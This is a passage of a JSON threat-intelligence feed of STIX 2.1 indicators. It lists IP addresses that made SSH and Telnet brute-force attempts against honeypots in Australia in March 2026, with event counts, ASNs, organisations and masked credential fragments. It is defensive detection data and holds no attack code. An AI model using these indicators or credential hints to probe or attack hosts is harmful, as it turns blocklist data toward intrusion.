      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3e6158f9-ac5e-4e30-8e63-c4b82bbf4a13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.59.79.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T19:15:05.000Z",
      "valid_until": "2026-04-22T19:15:03.000Z"
    },
    {
      "created": "2026-03-21T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262595. Organisation(s): OnNet Telecomunicacoes LTDA.",
      "id": "indicator--dd43653e-2bae-4868-a9e2-b848e9acdc96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.85.3.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T19:15:05.000Z",
      "valid_until": "2026-04-22T19:15:03.000Z"
    },
    {
      "created": "2026-03-21T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 201776. Organisation(s): Miranda-Media Ltd. Usernames observed (masked): r**t, a***n, g***t, s********r. Passwords observed (masked): 1**1, 1****6, 1********0, 5***1, f****d.",
      "id": "indicator--83e41906-c1de-464d-af65-cee917003be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.34.177.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T19:15:05.000Z",
      "valid_until": "2026-04-22T19:15:03.000Z"
    },
    {
      "created": "2026-03-21T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): v****t, 3**********4, c***l, i****a, j***s. Passwords observed (masked): ***, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--84971ae4-b6dc-470c-85b5-89a753985a5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.107.159.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T19:15:05.000Z",
      "valid_until": "2026-04-22T19:15:03.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--aa6550ea-b5ad-4985-93f8-894fbf946be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.171.235.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): t****1, 3**********4, i****l, s******5, t***1. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--de01f5df-2210-4c8c-b5a3-d31a12175373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.164.195.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a*****r, 3**********4, a****h, d******1, d*********t. Passwords observed (masked): ***, 1**4, 1****6, 1******8, 3***********4.",
      "id": "indicator--a8887d05-29c8-445b-9607-885c5c38e5ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.117.97.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--ad7f8e10-c6f7-4734-b1f6-c1156f8f5de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.92.196.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--54f722b4-3094-482a-98d0-ad844208fe70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '70.187.228.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): m******r, 3**********4, T**t, f*******o, h***l. Passwords observed (masked): ***, 3***********4, 3**********4, T******4, k*******4.",
      "id": "indicator--c0493358-75b4-4e24-b406-8e3fbc05988b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.99.195.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:15:14.000Z",
      "valid_until": "2026-04-22T20:15:12.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--9c75e9e4-5b7b-47ca-9622-1c8e9fc1048f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.245.207.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--c8c34986-a7b3-4a60-8e50-5f412807d6f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.255.208.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 21021. Organisation(s): Multimedia Polska Sp. z o.o.. Usernames observed (masked): d***m, 3**********4, a**h, ***, f***m. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, A**h.",
      "id": "indicator--d3fa70ae-b3db-45de-8ef9-2a3a5caaf8ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.6.212.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c49822db-850c-4da7-b048-e43142d609e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.189.154.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--084dfa9f-4427-4662-a37e-febe2a0bf1d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.151.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--fc941a48-b38f-4f4e-8b1f-497d8f059a8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.213.230.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T21:15:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--2ad71e7e-3f53-4d9f-888b-8395ffed8e54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T21:15:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.172.172.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T21:15:50.000Z",
      "valid_until": "2026-04-22T21:15:11.000Z"
    },
    {
      "created": "2026-03-21T22:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135687. Organisation(s): Qwistel Network Service Private Limited.",
      "id": "indicator--4c5bb55f-5889-445d-9759-40dd488ca993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.16.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T22:15:08.000Z",
      "valid_until": "2026-04-22T22:15:05.000Z"
    },
    {
      "created": "2026-03-21T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6b0da8bc-1783-498f-aea6-3fb99a4a9a7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T22:15:08.000Z",
      "valid_until": "2026-04-22T22:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, c**t, t******r, a*********r, d***a. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, F********!.",
      "id": "indicator--f1ee8dd3-43eb-4dbc-ba29-70d374295e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.0.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): a*******r, a***e, b****x, g*****n, p******d. Passwords observed (masked): p******d, 1***5, 1******8, 3***********4, P*********3.",
      "id": "indicator--fe02a5bc-0c2d-49ba-b5e6-1a8255e8b3ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.216.120.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): 3**********4, a****r, k**t, a****s, a***k. Passwords observed (masked): ***, 3***********4, 3**********4, 1***5, 1****6.",
      "id": "indicator--54bdb9f4-7ea1-4bc2-9a39-2541139a2943",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.181.91.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e6cc0f3e-d5d7-42ca-9056-be8488ae800b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a*******3, 3**********4, ***, a****1, ***. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, A*******3.",
      "id": "indicator--0910485a-04af-4cf6-8c76-b572b517a339",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.180.205.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data. Usernames observed (masked): a******q, 3**********4, ***, ***, **. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--0a63ee4d-8874-4fd6-99d7-b5f2d3753b56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.38.91.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--969f47ae-bca1-4ef1-958a-a53d480f050d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.183.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--c7a53978-fb6c-412d-aa03-d7ae58aee667",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.182.17.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a37b510b-57ed-41e1-99a7-32d34ac03483",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--80dfa107-df84-41f5-b2c6-ae39bebcb93c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.31.248.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--7697f414-e2c9-452a-a7d0-45d12156c524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.128.37.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-21T23:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--6ca9c6ff-6973-4425-b6fe-0e98059a55f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T23:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '96.236.44.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T23:15:08.000Z",
      "valid_until": "2026-04-22T23:15:05.000Z"
    },
    {
      "created": "2026-03-22T00:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 3**********T, a*******a, o****e, p**********..",
      "id": "indicator--f7b567c9-3e26-4c3f-8f92-f960fe49c889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T00:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.254.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T00:15:17.000Z",
      "valid_until": "2026-04-23T00:15:12.000Z"
    },
    {
      "created": "2026-03-22T00:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d361d59f-97c3-43fc-af84-ac116505bebf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T00:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T00:15:17.000Z",
      "valid_until": "2026-04-23T00:15:12.000Z"
    },
    {
      "created": "2026-03-22T00:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--f1ef5e4f-dc58-406b-b4f7-248a9a7acfc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T00:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.16.53.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T00:15:17.000Z",
      "valid_until": "2026-04-23T00:15:12.000Z"
    },
    {
      "created": "2026-03-22T00:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2762d1c0-af72-4b6d-adf2-bcf4ab90ee44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T00:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.58']",
      "pattern_type": "stix",
